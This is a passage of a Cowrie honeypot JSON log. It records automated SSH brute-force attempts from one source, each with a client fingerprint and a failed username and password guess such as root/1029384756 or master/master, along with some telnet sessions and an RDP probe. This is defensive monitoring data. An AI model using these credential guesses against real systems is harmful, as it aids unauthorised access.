,"ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:11.646674Z","src_ip":"192.109.200.237","session":"b7c97bab4fc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"123456","message":"login attempt [admin1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:11.893846Z","src_ip":"192.109.200.237","session":"b7c97bab4fc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:12.979435Z","src_ip":"192.109.200.237","session":"b7c97bab4fc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56184,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1576f4bf9d8","protocol":"ssh","message":"New connection: 192.109.200.237:56184 (159.203.135.109:22) [session: e1576f4bf9d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:15.079229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:15.084239Z","src_ip":"192.109.200.237","session":"e1576f4bf9d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:15.167348Z","src_ip":"192.109.200.237","session":"e1576f4bf9d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1029384756","message":"login attempt [root/1029384756] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:15.419606Z","src_ip":"192.109.200.237","session":"e1576f4bf9d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:16.620684Z","src_ip":"192.109.200.237","session":"e1576f4bf9d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56190,"dst_ip":"159.203.135.109","dst_port":22,"session":"53a37d1d6326","protocol":"ssh","message":"New connection: 192.109.200.237:56190 (159.203.135.109:22) [session: 53a37d1d6326]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:18.414634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:18.419653Z","src_ip":"192.109.200.237","session":"53a37d1d6326","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:18.502167Z","src_ip":"192.109.200.237","session":"53a37d1d6326","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test!@","message":"login attempt [test/test!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:18.749634Z","src_ip":"192.109.200.237","session":"53a37d1d6326","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:19.835374Z","src_ip":"192.109.200.237","session":"53a37d1d6326","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.13236975669861,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:20.083638Z","src_ip":"152.42.224.71","session":"b59dba287958","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":28.45401120185852,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:20.889248Z","src_ip":"152.42.224.71","session":"9189dd15c3d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52704,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba4cdbb15cdd","protocol":"ssh","message":"New connection: 192.109.200.237:52704 (159.203.135.109:22) [session: ba4cdbb15cdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:21.906065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:21.915809Z","src_ip":"192.109.200.237","session":"ba4cdbb15cdd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:21.997972Z","src_ip":"192.109.200.237","session":"ba4cdbb15cdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elk","password":"elk@123","message":"login attempt [elk/elk@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:22.244110Z","src_ip":"192.109.200.237","session":"ba4cdbb15cdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50950,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c150d56475a","protocol":"telnet","message":"New connection: 152.42.224.71:50950 (10.17.0.5:23) [session: 8c150d56475a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:22.529329Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:23.330252Z","src_ip":"192.109.200.237","session":"ba4cdbb15cdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52716,"dst_ip":"159.203.135.109","dst_port":22,"session":"c50e46c837aa","protocol":"ssh","message":"New connection: 192.109.200.237:52716 (159.203.135.109:22) [session: c50e46c837aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:25.232327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:25.237118Z","src_ip":"192.109.200.237","session":"c50e46c837aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:25.319342Z","src_ip":"192.109.200.237","session":"c50e46c837aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba123456","message":"login attempt [dmdba/dmdba123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:25.567482Z","src_ip":"192.109.200.237","session":"c50e46c837aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":49784,"dst_ip":"10.17.0.5","dst_port":22,"session":"936ae1e461ee","protocol":"ssh","message":"New connection: 152.42.212.128:49784 (10.17.0.5:22) [session: 936ae1e461ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:25.781900Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:25.787120Z","src_ip":"152.42.212.128","session":"936ae1e461ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:25.792009Z","src_ip":"152.42.212.128","session":"936ae1e461ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:26.656060Z","src_ip":"192.109.200.237","session":"c50e46c837aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52722,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c25358ea1da","protocol":"ssh","message":"New connection: 192.109.200.237:52722 (159.203.135.109:22) [session: 3c25358ea1da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:28.568614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:28.573192Z","src_ip":"192.109.200.237","session":"3c25358ea1da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:28.730626Z","src_ip":"192.109.200.237","session":"3c25358ea1da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backuply","password":"123456","message":"login attempt [backuply/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:29.067780Z","src_ip":"192.109.200.237","session":"3c25358ea1da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:30.154590Z","src_ip":"192.109.200.237","session":"3c25358ea1da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58088,"dst_ip":"159.203.135.109","dst_port":22,"session":"cef636d1164e","protocol":"ssh","message":"New connection: 192.109.200.237:58088 (159.203.135.109:22) [session: cef636d1164e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:32.146093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:32.150997Z","src_ip":"192.109.200.237","session":"cef636d1164e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:32.235348Z","src_ip":"192.109.200.237","session":"cef636d1164e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W3e4r","message":"login attempt [root/!Q@W3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:32.480707Z","src_ip":"192.109.200.237","session":"cef636d1164e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52352,"dst_ip":"10.17.0.5","dst_port":23,"session":"056c82e69d48","protocol":"telnet","message":"New connection: 152.42.224.71:52352 (10.17.0.5:23) [session: 056c82e69d48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:33.558867Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:33.567576Z","src_ip":"192.109.200.237","session":"cef636d1164e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58092,"dst_ip":"159.203.135.109","dst_port":22,"session":"58a773a38f83","protocol":"ssh","message":"New connection: 192.109.200.237:58092 (159.203.135.109:22) [session: 58a773a38f83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:35.570314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:35.574764Z","src_ip":"192.109.200.237","session":"58a773a38f83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:35.656704Z","src_ip":"192.109.200.237","session":"58a773a38f83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"master","message":"login attempt [master/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:35.903821Z","src_ip":"192.109.200.237","session":"58a773a38f83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40212,"dst_ip":"10.17.0.5","dst_port":23,"session":"e083f3786da2","protocol":"telnet","message":"New connection: 152.42.224.71:40212 (10.17.0.5:23) [session: e083f3786da2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:36.418859Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:36.997283Z","src_ip":"192.109.200.237","session":"58a773a38f83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58102,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e5b7ddef5e4","protocol":"ssh","message":"New connection: 192.109.200.237:58102 (159.203.135.109:22) [session: 3e5b7ddef5e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:38.968817Z"}
